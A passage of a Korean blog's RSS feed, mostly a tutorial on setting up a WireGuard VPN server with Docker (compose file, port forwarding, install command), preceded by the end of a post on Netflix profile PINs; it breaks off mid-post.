this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;286&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;핀 번호 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 끝&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 본인 프로필에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누군가가 접속할 때마다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정한 핀 번호를 입력해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(물론, 본인도...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Tip.../기타</category>
      <category>Netflix</category>
      <category>넷플릭스</category>
      <category>핀번호 설정</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/162</guid>
      <comments>https://chmodi.tistory.com/162#entry162comment</comments>
      <pubDate>Sat, 22 Jan 2022 19:17:13 +0900</pubDate>
    </item>
    <item>
      <title>[Docker, VPN] OpenVPN 대신 WireGuard 구축하기</title>
      <link>https://chmodi.tistory.com/161</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;집에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenVPN으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 서버를 구축하려다가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WireGuard가 더 빠르다기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커에 WireGuard로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 서버를 구축해봤습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 왜 WireGuard?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 VPN을 구축한다고 하면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안상 안전하고 많이 알려진&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenVPN을 먼저 고려하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저도 OpenVPN 구축 방법을 찾던 도중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전하지만 느린 OpenVPN 대신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 암호화 알고리즘을 사용하면서도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;속도가 빠른 WireGuard를 알게 되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구축했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 속도&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;속도 비교를 보니...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확실히 WireGuard가 빠르네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://restoreprivacy.com/vpn/fastest/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://restoreprivacy.com/vpn/fastest/&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxOUoM/btrrfmxxEDa/forELycdEsWyNeAK2nL910/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxOUoM/btrrfmxxEDa/forELycdEsWyNeAK2nL910/img.png&quot; data-alt=&quot;심지어 IPsec보다도 빠름&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxOUoM/btrrfmxxEDa/forELycdEsWyNeAK2nL910/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxOUoM%2FbtrrfmxxEDa%2FforELycdEsWyNeAK2nL910%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;188&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;심지어 IPsec보다도 빠름&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 암호화 알고리즘&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최신 암호화 방식을 적용해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전하면서도 빠른 데이터 암호화를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공한다고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;암호화 알고리즘&lt;/b&gt;&lt;br /&gt;- Curve25519, ChaCha20, Poly1305, BLAKE2, SipHash24, HKDF&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 실사용의 편의성&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WireGuard는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자체적으로 Client App이나 프로그램을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만들었기 때문에,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 3rd Party App들을 고민할 필요가 없으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Client에게 암호화 키를 배포하기 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QRCode 또한 제공하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 키를 전달할 수 있으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 연결 또한 쉽습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 Windows 에 설치한 Docker에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LinuxServer 그룹의 WireGuard 이미지를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이용하여 설치했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;근데...&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;도커를 사용하다보니...&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;설치가 너무 쉬워...&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 설치 전 준비&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커로 설치하기 전에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WireGuard 컨테이너에 생성된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QRcode나 설정 파일(.conf)를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부에서 접근 가능하도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 도커 외부에 디렉토리(폴더)를 하나 생성&lt;/b&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;96&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgDy44/btrroFPe9rU/ZBTjjMafGg8Fk0NaJr9p8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgDy44/btrroFPe9rU/ZBTjjMafGg8Fk0NaJr9p8k/img.png&quot; data-alt=&quot;생성된 WireGuard 용 폴더&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgDy44/btrroFPe9rU/ZBTjjMafGg8Fk0NaJr9p8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgDy44%2FbtrroFPe9rU%2FZBTjjMafGg8Fk0NaJr9p8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;80&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;603&quot; data-origin-height=&quot;96&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;생성된 WireGuard 용 폴더&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 사용 중인 공유기에서 VPN 포트(51820/UDP)&lt;/b&gt;를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;열어줘야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1491&quot; data-origin-height=&quot;1332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V8jwL/btrrocAlP9P/kTZCWPrOfQCyQ9w2vODKa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V8jwL/btrrocAlP9P/kTZCWPrOfQCyQ9w2vODKa1/img.png&quot; data-alt=&quot;공유기에서 외부 포트 OPEN&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V8jwL/btrrocAlP9P/kTZCWPrOfQCyQ9w2vODKa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV8jwL%2FbtrrocAlP9P%2FkTZCWPrOfQCyQ9w2vODKa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;447&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1491&quot; data-origin-height=&quot;1332&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;공유기에서 외부 포트 OPEN&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- Docker 설치&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커를 이용해 설치하다보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단한 명령어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 설치가 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 나중에도 사용하기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;yml 파일 방식으로 설치했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 WireGuard 설치를 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker yml 파일의 예시 입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1642742279144&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: &quot;2.1&quot;
services:
  WireGuard:
    image: 'linuxserver/wireguard'
    container_name: WireGuard
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Asia/Seoul
      - SERVERURL=wireguard.domain.com #optional, 사용 중인 DDNS
      - SERVERPORT=51820 #optional, 사용할 포트
      - PEERS=1 #optional, Client 수
      - PEERDNS=auto #optional, Client DNS
      - INTERNAL_SUBNET=10.13.13.0 #optional, VPN 내부 IP 대역
      - ALLOWEDIPS=0.0.0.0/0 #optional, 접속 허용 IP 대역
    volumes:
      - /path/to/appdata/config:/config	# 연결할 로컬 디렉토리
      - /lib/modules:/lib/modules	# 연결할 로컬 디렉토리
    ports:
      - 51820:51820/udp	# WireGuard의 포트와 실제 포트 연결
    sysctls:
      - net.ipv4.conf.all.src_valid_mark=1
    restart: unless-stopped&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 이번 글을 쓰면서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용한 yml 설정 값 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;863&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/67nM1/btrrq0M5UOH/tNSlLNkZCt5QxyuSjDwHLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/67nM1/btrrq0M5UOH/tNSlLNkZCt5QxyuSjDwHLK/img.png&quot; data-alt=&quot;이번에 사용한 설정 값&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/67nM1/btrrq0M5UOH/tNSlLNkZCt5QxyuSjDwHLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F67nM1%2Fbtrrq0M5UOH%2FtNSlLNkZCt5QxyuSjDwHLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;217&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;863&quot; data-origin-height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이번에 사용한 설정 값&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.yml 을 이용한 설치 명령어 입니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;# 컨테이너 설치 명령어(.yml 파일):&lt;/b&gt;&lt;br /&gt;$ docker-compose -f WireGuard.yml up --build&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1759&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2vI0X/btrriWrLUaE/KWERotaKE0O4EAjmdsuc51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2vI0X/btrriWrLUaE/KWERotaKE0O4EAjmdsuc51/img.png&quot; data-alt=&quot;WireGuard 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2vI0X/btrriWrLUaE/KWERotaKE0O4EAjmdsuc51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2vI0X%2FbtrriWrLUaE%2FKWERotaKE0O4EAjmdsuc51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;137&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1759&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;WireGuard 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LinuxServer 그룹의 이미지들은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 세팅이 모두 자동화되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;편하게 설치할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 Client 들이 사용할&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;QRcode도 보여주네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1757&quot; data-origin-height=&quot;1394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zGCFd/btrrirMlgYj/3PkWgFUSrRsP0dz149psJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zGCFd/btrrirMlgYj/3PkWgFUSrRsP0dz149psJk/img.png&quot; data-alt=&quot;모든 것이 알아서 세팅 된다 :)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zGCFd/btrrirMlgYj/3PkWgFUSrRsP0dz149psJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzGCFd%2FbtrrirMlgYj%2F3PkWgFUSrRsP0dz149psJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;397&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1757&quot; data-origin-height=&quot;1394&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;모든 것이 알아서 세팅 된다 :)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
